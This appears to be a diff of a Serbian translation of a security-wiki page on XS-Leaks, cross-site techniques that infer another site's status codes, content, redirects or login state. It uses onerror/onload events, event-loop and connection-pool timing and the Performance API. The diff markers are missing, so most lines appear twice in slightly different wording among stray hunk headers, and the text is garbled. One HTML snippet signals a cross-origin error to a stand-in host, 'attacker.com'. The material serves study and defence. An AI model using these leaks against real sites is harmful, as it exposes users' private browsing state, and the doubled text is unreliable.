- **Više informacija**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Sažetak**: Ako pokušavate da učitate resurs, onerror/onload događaji se aktiviraju kada je resurs uspešno/neuspešno učitan, moguće je utvrditi status kod.
- **Sažetak**: Ako pokušavate da učitate resurs, onerror/onload događaji se aktiviraju kada je resurs učitan uspešno/neuspešno, moguće je utvrditi status kod.
- **Primer koda**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
xs-search/cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Primer koda pokušava da **učita skripte objekte iz JS**, ali **drugi tagovi** kao što su objekti, stilovi, slike, audio takođe mogu biti korišćeni. Štaviše, takođe je moguće direktno injektovati **tag** i deklarisati `onload` i `onerror` događaje unutar taga (umesto da ih injektujete iz JS).
Primer koda pokušava da **učita skripte iz JS**, ali **drugi tagovi** kao što su objekti, stilovi, slike, audio takođe mogu biti korišćeni. Štaviše, takođe je moguće direktno injektovati **tag** i deklarisati `onload` i `onerror` događaje unutar taga (umesto da ih injektujete iz JS).
Postoji i verzija ovog napada bez skripti:
Postoji takođe verzija ovog napada bez skripti:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
@ -95,7 +95,7 @@ U ovom slučaju, ako `example.com/404` nije pronađen, učitaće se `attacker.co
xs-search/performance.now-example.md
{{#endref}}
#### Onload Timing + Prisilna teška radnja
#### Onload Timing + Prisilni Težak Zadatak
Ova tehnika je slična prethodnoj, ali **napadač** će takođe **prisiliti** neku akciju da traje **relevantno vreme** kada je **odgovor pozitivan ili negativan** i izmeriti to vreme.
@ -129,9 +129,9 @@ Primećeno je da u odsustvu [Framing Protections](https://xsleaks.dev/docs/defen
### #ID + error + onload
- **Inclusion Methods**: Frames
- **Detectable Difference**: Sadržaj stranice
- **Detectable Difference**: Page Content
- **More info**:
- **Summary**: Ako možete izazvati grešku na stranici kada se pristupi ispravnom sadržaju i učiniti da se učita ispravno kada se pristupi bilo kojem sadržaju, onda možete napraviti petlju za ekstrakciju svih informacija bez merenja vremena.
- **Summary**: Ako možete izazvati grešku na stranici kada se pristupi ispravnom sadržaju i učiniti da se učita ispravno kada se pristupi bilo kojem sadržaju, onda možete napraviti petlju da izvučete sve informacije bez merenja vremena.
- **Code Example**:
Pretpostavimo da možete **ubaciti** **stranicu** koja ima **tajni** sadržaj **unutar Iframe-a**.
@ -150,7 +150,7 @@ Tada možete **razlikovati** između **ispravno** učitane stranice ili stranice
### Javascript Execution
- **Inclusion Methods**: Frames
- **Detectable Difference**: Sadržaj stranice
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** Ako **stranica** **vraća** **osetljiv** sadržaj, **ili** sadržaj koji može biti **kontrolisan** od strane korisnika. Korisnik može postaviti **validan JS kod u negativnom slučaju**, **učitavajući** svaki pokušaj unutar **`<script>`** tagova, tako da u **negativnim** slučajevima **kod** napadača **bude izvršen**, a u **afirmativnim** slučajevima **ništa** neće biti izvršeno.
- **Code Example:**
@ -162,17 +162,17 @@ xs-search/javascript-execution-xs-leak.md
### CORB - Onerror
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status kod & Zaglavlja
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** je bezbednosna mera koja sprečava web stranice da učitavaju određene osetljive resurse sa drugih domena kako bi se zaštitile od napada poput **Spectre**. Međutim, napadači mogu iskoristiti njeno zaštitno ponašanje. Kada odgovor podložan **CORB** vrati _**CORB zaštićen**_ `Content-Type` sa `nosniff` i `2xx` status kodom, **CORB** uklanja telo i zaglavlja odgovora. Napadači koji to posmatraju mogu da zaključe kombinaciju **status koda** (koji označava uspeh ili grešku) i `Content-Type` (koji označava da li je zaštićen od **CORB**), što može dovesti do potencijalnog curenja informacija.
- **Code Example**:
- **Summary**: **Cross-Origin Read Blocking (CORB)** je bezbednosna mera koja sprečava web stranice da učitavaju određene osetljive resurse sa drugih domena kako bi se zaštitili od napada poput **Spectre**. Međutim, napadači mogu iskoristiti njeno zaštitno ponašanje. Kada odgovor podložan **CORB** vrati _**CORB zaštićen**_ `Content-Type` sa `nosniff` i `2xx` status kodom, **CORB** uklanja telo i zaglavlja odgovora. Napadači koji to posmatraju mogu da zaključe kombinaciju **status koda** (koji označava uspeh ili grešku) i `Content-Type` (koji označava da li je zaštićen od **CORB**), što može dovesti do potencijalnog curenja informacija.
- **Code Example:**
Proverite link za više informacija o napadu.
### onblur
- **Inclusion Methods**: Frames
- **Detectable Difference**: Sadržaj stranice
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Summary**: Curenje osetljivih podataka iz id ili name atributa.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
@ -183,10 +183,10 @@ Možete izvršiti isti napad sa **`portal`** tagovima.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Korišćenje
- **Detectable Difference**: API Usage
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Summary**: Prikupiti osetljive informacije iz postMessage ili koristiti prisustvo postMessages kao orakl da saznate status korisnika na stranici
- **Code Example**: `Bilo koji kod koji sluša sve postMessages.`
- **Code Example**: `Any code listening for all postMessages.`
Aplikacije često koriste [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) za komunikaciju između različitih domena. Međutim, ova metoda može nenamerno izložiti **osetljive informacije** ako parametar `targetOrigin` nije pravilno specificiran, omogućavajući bilo kojem prozoru da primi poruke. Štaviše, sam čin primanja poruke može delovati kao **orakl**; na primer, određene poruke mogu biti poslate samo korisnicima koji su prijavljeni. Stoga, prisustvo ili odsustvo ovih poruka može otkriti informacije o stanju ili identitetu korisnika, kao što je da li su autentifikovani ili ne.
@ -195,31 +195,31 @@ Aplikacije često koriste [`postMessage` broadcasts](https://developer.mozilla.o
### WebSocket API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Korišćenje
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Iscrpljivanje limita WebSocket konekcije otkriva broj WebSocket konekcija stranice sa drugog domena.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Moguće je identifikovati da li, i koliko, **WebSocket konekcija koristi ciljana stranica**. To omogućava napadaču da otkrije stanje aplikacije i otkrije informacije vezane za broj WebSocket konekcija.
Ako jedan **domen** koristi **maksimalan broj WebSocket** objekata, bez obzira na stanje njihovih konekcija, kreiranje **novih objekata će rezultirati JavaScript izuzecima**. Da bi izvršio ovaj napad, napadačev sajt otvara ciljani sajt u pop-up prozoru ili iframe-u, a zatim, nakon što se ciljana web stranica učita, pokušava da kreira maksimalan broj WebSocket konekcija. **Broj izbačenih izuzetaka** je **broj WebSocket konekcija koje koristi ciljana web stranica**.
Ako jedan **domen** koristi **maksimalan broj WebSocket** objekata, bez obzira na stanje njihovih konekcija, kreiranje **novih objekata će rezultirati JavaScript izuzecima**. Da bi izvršio ovaj napad, napadačev sajt otvara ciljani sajt u iskačućem prozoru ili iframe-u, a zatim, nakon što se ciljana web stranica učita, pokušava da kreira maksimalan broj WebSocket konekcija. **Broj izbačenih izuzetaka** je **broj WebSocket konekcija koje koristi ciljana web stranica**.
### Payment API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Korišćenje
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Otkrivanje Payment Request jer samo jedan može biti aktivan u isto vreme.
- **Summary**: Otkrivanje Payment Request-a jer samo jedan može biti aktivan u isto vreme.
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Ova XS-Leak omogućava napadaču da **otkrije kada stranica sa drugog domena inicira zahtev za plaćanje**.
Ova XS-Curenje omogućava napadaču da **otkrije kada stranica sa drugog domena inicira zahtev za plaćanje**.
Pošto **samo jedan zahtev za plaćanje može biti aktivan** u isto vreme, ako ciljana web stranica koristi Payment Request API, svaki dalji pokušaj korišćenja ovog API-ja će propasti i izazvati **JavaScript izuzetak**. Napadač može iskoristiti ovo tako što će **periodično pokušavati da prikaže UI Payment API-ja**. Ako jedan pokušaj izazove izuzetak, ciljana web stranica ga trenutno koristi. Napadač može sakriti ove periodične pokušaje tako što će odmah zatvoriti UI nakon kreiranja.
Pošto **samo jedan zahtev za plaćanje može biti aktivan** u isto vreme, ako ciljana web stranica koristi Payment Request API, svaki dalji pokušaj korišćenja ovog API-ja će propasti i izazvati **JavaScript izuzetak**. Napadač može iskoristiti ovo tako što će **periodično pokušavati da prikaže UI Payment API-a**. Ako jedan pokušaj izazove izuzetak, ciljana web stranica ga trenutno koristi. Napadač može sakriti ove periodične pokušaje tako što će odmah zatvoriti UI nakon kreiranja.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Merenje vremena (generalno zbog Sadržaja stranice, Status koda)
- **Detectable Difference**: Timing (generalno zbog Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Summary:** Merenje vremena izvršenja web-a koristeći jednonitni JS event loop.
- **Code Example**:
@ -228,15 +228,15 @@ Pošto **samo jedan zahtev za plaćanje može biti aktivan** u isto vreme, ako c
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript funkcioniše na [jednonitnom event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) modelu konkurencije, što znači da **može izvršiti samo jedan zadatak u isto vreme**. Ova karakteristika se može iskoristiti za merenje **koliko dugo kod sa drugog domena traje da se izvrši**. Napadač može meriti vreme izvršenja svog koda u event loop-u kontinuiranim slanjem događaja sa fiksnim svojstvima. Ovi događaji će biti obrađeni kada je event pool prazan. Ako drugi domeni takođe šalju događaje u isti pool, **napadač može da zaključi vreme koje je potrebno za izvršenje ovih spoljašnjih događaja posmatrajući kašnjenja u izvršenju svojih zadataka**. Ova metoda praćenja event loop-a za kašnjenja može otkriti vreme izvršenja koda sa različitih domena, potencijalno izlažući osetljive informacije.
JavaScript funkcioniše na [jednonitnom event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) modelu konkurencije, što znači da **može izvršiti samo jedan zadatak u isto vreme**. Ova karakteristika se može iskoristiti za merenje **koliko dugo kod sa drugog domena traje da se izvrši**. Napadač može meriti vreme izvršenja svog koda u event loop-u kontinuiranim slanjem događaja sa fiksnim svojstvima. Ovi događaji će biti obrađeni kada je event pool prazan. Ako drugi domeni takođe šalju događaje u isti pool, **napadač može zaključiti vreme koje je potrebno za izvršavanje ovih spoljašnjih događaja posmatrajući kašnjenja u izvršenju svojih zadataka**. Ova metoda praćenja event loop-a za kašnjenja može otkriti vreme izvršenja koda sa različitih domena, potencijalno izlažući osetljive informacije.
> [!WARNING]
> U merenju vremena izvršenja moguće je **eliminisati** **mrežne faktore** kako bi se dobila **preciznija merenja**. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.
> U merenju vremena izvršenja moguće je **eliminisati** **mrežne faktore** kako bi se dobile **preciznije merenja**. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Merenje vremena (generalno zbog Sadržaja stranice, Status koda)
- **Detectable Difference**: Timing (generalno zbog Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Jedna metoda za merenje vremena izvršenja web operacije uključuje namerno blokiranje event loop-a niti i zatim merenje **koliko dugo traje da event loop ponovo postane dostupan**. Umetanjem blokirajuće operacije (kao što je dugačka računica ili sinhroni API poziv) u event loop, i praćenjem vremena koje je potrebno da sledeći kod počne da se izvršava, može se zaključiti trajanje zadataka koji su se izvršavali u event loop-u tokom blokirajućeg perioda. Ova tehnika koristi jednonitnu prirodu JavaScript-ovog event loop-a, gde se zadaci izvršavaju sekvencijalno, i može pružiti uvide u performanse ili ponašanje drugih operacija koje dele istu nit.
- **Code Example**:
@ -244,14 +244,14 @@ JavaScript funkcioniše na [jednonitnom event loop](https://developer.mozilla.or
Značajna prednost tehnike merenja vremena izvršenja blokiranjem event loop-a je njena potencijalna sposobnost da zaobiđe **Site Isolation**. **Site Isolation** je bezbednosna funkcija koja razdvaja različite web stranice u odvojene procese, sa ciljem da spreči zlonamerne sajtove da direktno pristupaju osetljivim podacima sa drugih sajtova. Međutim, utičući na vreme izvršenja drugog domena kroz zajednički event loop, napadač može indirektno izvući informacije o aktivnostima tog domena. Ova metoda ne zavisi od direktnog pristupa podacima drugog domena, već posmatra uticaj aktivnosti tog domena na zajednički event loop, čime se izbegavaju zaštitne barijere koje postavlja **Site Isolation**.
> [!WARNING]
> U merenju vremena izvršenja moguće je **eliminisati** **mrežne faktore** kako bi se dobila **preciznija merenja**. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.
> U merenju vremena izvršenja moguće je **eliminisati** **mrežne faktore** kako bi se dobile **preciznije merenja**. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.
### Connection Pool
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Merenje vremena (generalno zbog Sadržaja stranice, Status koda)
- **Detectable Difference**: Timing (generalno zbog Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Napadač može zaključati sve sokete osim 1, učitati ciljani web i u isto vreme učitati drugu stranicu, vreme do kada poslednja stranica počinje da se učitava je vreme koje je ciljana stranica uzela da se učita.
- **Summary:** Napadač može zaključati sve sokete osim 1, učitati ciljani web i u isto vreme učitati drugu stranicu, vreme do kada se poslednja stranica počinje učitavati je vreme koje je ciljana stranica uzela da se učita.
- **Code Example**:
{{#ref}}
@ -270,34 +270,34 @@ Za više informacija: [https://xsleaks.dev/docs/attacks/timing-attacks/connectio
### Connection Pool by Destination
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Merenje vremena (generalno zbog Sadržaja stranice, Status koda)
- **Detectable Difference**: Timing (generalno zbog Page Content, Status Code)
- **More info**:
- **Summary:** To je kao prethodna tehnika, ali umesto korišćenja svih soketa, Google **Chrome** postavlja limit od **6 istovremenih zahteva ka istom domenu**. Ako **blokiramo 5** i zatim **pokrenemo 6.** zahtev, možemo **izmeriti** vreme, a ako uspemo da nateramo **stranicu žrtve da pošalje** više **zahteva** ka istom kraju da otkrijemo **status** **stranice**, **6. zahtev** će trajati **duže** i možemo to otkriti.
- **Summary:** Slično prethodnoj tehnici, ali umesto korišćenja svih soketa, Google **Chrome** postavlja limit od **6 istovremenih zahteva ka istom domenu**. Ako **blokiramo 5** i zatim **pokrenemo 6.** zahtev, možemo **izmeriti** vreme i ako uspemo da nateramo **stranicu žrtve da pošalje** više **zahteva** ka istom kraju da otkrijemo **status** **stranice**, **6. zahtev** će trajati **duže** i možemo to otkriti.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) nudi uvide u performanse web aplikacija, dodatno obogaćen [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API omogućava praćenje detaljnih vremenskih podataka mrežnih zahteva, kao što je trajanje zahteva. Značajno je da kada serveri uključuju `Timing-Allow-Origin: *` zaglavlje u svojim odgovorima, dodatni podaci poput veličine prenosa i vremena pretrage domena postaju dostupni.
Ova bogatstvo podataka može se dobiti putem metoda kao što su [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ili [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), pružajući sveobuhvatan pregled informacija vezanih za performanse. Pored toga, API olakšava merenje vremena izvršenja izračunavanjem razlike između vremenskih oznaka dobijenih iz [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Međutim, vredi napomenuti da za određene operacije u pregledačima poput Chrome-a, preciznost `performance.now()` može biti ograničena na milisekunde, što može uticati na preciznost merenja vremena.
Ova bogatstvo podataka može se dobiti putem metoda kao što su [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ili [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), pružajući sveobuhvatan pregled informacija vezanih za performanse. Pored toga, API olakšava merenje vremena izvršenja izračunavanjem razlike između vremenskih oznaka dobijenih iz [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Međutim, vredi napomenuti da za određene operacije u pregledačima poput Chrome-a, preciznost `performance.now()` može biti ograničena na milisekunde, što može uticati na granularnost merenja vremena.
Pored merenja vremena, Performance API se može iskoristiti za uvide vezane za bezbednost. Na primer, prisustvo ili odsustvo stranica u `performance` objektu u Chrome-u može ukazivati na primenu `X-Frame-Options`. Konkretno, ako je stranica blokirana od renderovanja u okviru zbog `X-Frame-Options`, ona neće biti zabeležena u `performance` objektu, pružajući suptilan trag o politikama uokvirivanja stranice.
### Error Leak
- **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: Status kod
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Zahtev koji rezultira greškama neće kreirati unos vremenskih podataka resursa.
- **Summary:** Zahtev koji rezultira greškama neće kreirati ulaz u vremenu resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Moguće je **razlikovati između HTTP status kodova** jer zahtevi koji dovode do **greške** ne **kreiraju unos performansi**.
Moguće je **razlikovati između HTTP status kodova** jer zahtevi koji dovode do **greške** ne **kreiraju ulaz u performansama**.
### Style Reload Error
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status kod
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Zbog greške u pregledaču, zahtevi koji rezultiraju greškama učitavaju se dvaput.
- **Summary:** Zbog greške u pregledaču, zahtevi koji rezultiraju greškama se učitavaju dvaput.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
U prethodnoj tehnici takođe su identifikovana dva slučaja gde greške u GC dovode do **učitavanja resursa dvaput kada ne uspeju da se učitaju**. To će rezultirati višestrukim unosima u Performance API i tako se može otkriti.
@ -305,93 +305,93 @@ U prethodnoj tehnici takođe su identifikovana dva slučaja gde greške u GC dov
### Request Merging Error
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status kod
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Zahtevi koji rezultiraju greškom ne mogu se spojiti.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Tehnika je pronađena u tabeli u pomenutom dokumentu, ali opis tehnike nije pronađen. Međutim, možete pronaći izvorni kod koji to proverava na [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Tehnika je pronađena u tabeli u pomenutom dokumentu, ali nije pronađen opis tehnike. Međutim, možete pronaći izvorni kod koji to proverava na [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Empty Page Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Sadržaj stranice
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Prazni odgovori ne kreiraju unose vremenskih podataka resursa.
- **Summary:** Prazni odgovori ne kreiraju ulaze u vremenu resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Napadač može otkriti da li je zahtev rezultirao praznim HTTP odgovorom jer **prazne stranice ne kreiraju unos performansi u nekim pregledačima**.
Napadač može otkriti da li je zahtev rezultirao praznim HTTP odgovorom jer **prazne stranice ne kreiraju ulaz u performansama u nekim pregledačima**.
### **XSS-Auditor Leak**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Sadržaj stranice
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Korišćenjem XSS Auditor-a u Security Assertions, napadači mogu otkriti specifične elemente web stranice posmatrajući promene u odgovorima kada kreirani payload-ovi aktiviraju mehanizam filtriranja auditor-a.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
U Security Assertions (SA), XSS Auditor, prvobitno namenjen za sprečavanje napada Cross-Site Scripting (XSS), može paradoksalno biti iskorišćen za curenje osetljivih informacija. Iako je ova ugrađena funkcija uklonjena iz Google Chrome-a (GC), još uvek je prisutna u SA. U 2013. godini, Braun i Heiderich su pokazali da XSS Auditor može nenamerno blokirati legitimne skripte, dovodeći do lažnih pozitivnih rezultata. Oslanjajući se na ovo, istraživači su razvili tehnike za ekstrakciju informacija i otkrivanje specifičnog sadržaja na stranicama sa drugog domena, koncept poznat kao XS-Leaks, prvobitno izvešten od strane Terade i razrađen od strane Heyesa u blog postu. Iako su ove tehnike bile specifične za XSS Auditor u GC, otkriveno je da u SA, stranice blokirane od strane XSS Auditor-a ne generišu unose u Performance API, otkrivajući metodu putem koje osetljive informacije mogu i dalje biti otkrivene.
U Security Assertions (SA), XSS Auditor, prvobitno namenjen za sprečavanje napada Cross-Site Scripting (XSS), može paradoksalno biti iskorišćen za curenje osetljivih informacija. Iako je ova ugrađena funkcija uklonjena iz Google Chrome-a (GC), još uvek je prisutna u SA. U 2013. godini, Braun i Heiderich su pokazali da XSS Auditor može nenamerno blokirati legitimne skripte, dovodeći do lažnih pozitivnih rezultata. Oslanjajući se na ovo, istraživači su razvili tehnike za ekstrakciju informacija i otkrivanje specifičnog sadržaja na stranicama sa drugog domena, koncept poznat kao XS-Curenja, prvobitno izveštavan od strane Terade i razrađen od strane Heyesa u blog postu. Iako su ove tehnike bile specifične za XSS Auditor u GC, otkriveno je da u SA, stranice blokirane od strane XSS Auditor-a ne generišu unose u Performance API, otkrivajući metodu putem koje osetljive informacije mogu i dalje biti otkrivene.
### X-Frame Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Zaglavlje
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** Resurs sa X-Frame-Options zaglavljem ne kreira unos vremenskih podataka resursa.
- **Summary:** Resurs sa X-Frame-Options zaglavljem ne kreira ulaz u vremenu resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Ako stranica **nije dozvoljena** da bude **renderovana** u **iframe-u**, ona ne **kreira unos performansi**. Kao rezultat, napadač može otkriti zaglavlje odgovora **`X-Frame-Options`**.\
Ako stranica **nije dozvoljena** da bude **renderovana** u **iframe-u**, ona ne **kreira ulaz u performansama**. Kao rezultat, napadač može otkriti zaglavlje odgovora **`X-Frame-Options`**.\
Isto se dešava ako koristite **embed** **tag.**
### Download Detection
- **Inclusion Methods**: Frames
- **Detectable Difference**: Zaglavlje
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Preuzimanja ne kreiraju unose vremenskih podataka u Performance API.
- **Summary:** Preuzimanja ne kreiraju ulaze u vremenu resursa u Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Slično, resurs koji se preuzima zbog zaglavlja ContentDisposition, takođe ne **kreira unos performansi**. Ova tehnika funkcioniše u svim glavnim pregledačima.
Slično, kao što je opisano u XS-Curenju, **resurs koji se preuzima** zbog zaglavlja ContentDisposition, takođe ne **kreira ulaz u performansama**. Ova tehnika funkcioniše u svim glavnim pregledačima.
### Redirect Start Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Preusmeravanje
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Unos vremenskih podataka resursa otkriva vreme početka preusmeravanja.
- **Summary:** Ulaz u vremenu resursa curi vreme početka preusmeravanja.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Pronašli smo jedan primer XS-Leak koji zloupotrebljava ponašanje nekih pregledača koji beleže previše informacija za zahteve sa drugog domena. Standard definiše podskup atributa koji bi trebali biti postavljeni na nulu za resurse sa drugog domena. Međutim, u **SA** je moguće otkriti da li je korisnik **preusmeren** od strane ciljne stranice, upitom u **Performance API** i proverom za **redirectStart vremenske podatke**.
Pronašli smo jedan primer XS-Curenja koji zloupotrebljava ponašanje nekih pregledača koji beleže previše informacija za zahteve sa drugih domena. Standard definiše podskup atributa koji bi trebali biti postavljeni na nulu za resurse sa drugih domena. Međutim, u **SA** je moguće otkriti da li je korisnik **preusmeren** od strane ciljne stranice, upitom u **Performance API** i proverom za **redirectStart vremenske podatke**.
### Duration Redirect Leak
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Preusmeravanje
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Trajanje unosa vremenskih podataka je negativno kada dođe do preusmeravanja.
- **Summary:** Trajanje vremenskih unosa je negativno kada dođe do preusmeravanja.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
U GC, **trajanje** za zahteve koji rezultiraju **preusmeravanjem** je **negativno** i tako se može **razlikovati** od zahteva koji ne rezultiraju preusmeravanjem.
U GC, **trajanje** za zahteve koji rezultiraju **preusmeravanjem** je **negativno** i može se tako **razlikovati** od zahteva koji ne rezultiraju preusmeravanjem.
### CORP Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Zaglavlje
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Resurs zaštićen CORP-om ne kreira unose vremenskih podataka resursa.
- **Summary:** Resurs zaštićen CORP-om ne kreira ulaze u vremenu resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
U nekim slučajevima, **nextHopProtocol unos** može se koristiti kao tehnika curenja. U GC, kada je **CORP zaglavlje** postavljeno, nextHopProtocol će biti **prazan**. Imajte na umu da SA uopšte neće kreirati unos performansi za resurse omogućene CORP-om.
U nekim slučajevima, **nextHopProtocol entry** može se koristiti kao tehnika curenja. U GC, kada je **CORP zaglavlje** postavljeno, nextHopProtocol će biti **prazan**. Imajte na umu da SA uopšte neće kreirati ulaz u performansama za resurse omogućene CORP-om.
### Service Worker
- **Inclusion Methods**: Frames
- **Detectable Difference**: API Korišćenje
- **Detectable Difference**: API Usage
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Summary:** Otkrivanje da li je servisni radnik registrovan za određeni domen.
- **Code Example**:
Servisni radnici su skriptni konteksti vođeni događajima koji se izvršavaju na domenu. Oni rade u pozadini web stranice i mogu presresti, modifikovati i **keširati resurse** kako bi stvorili offline web aplikaciju.\
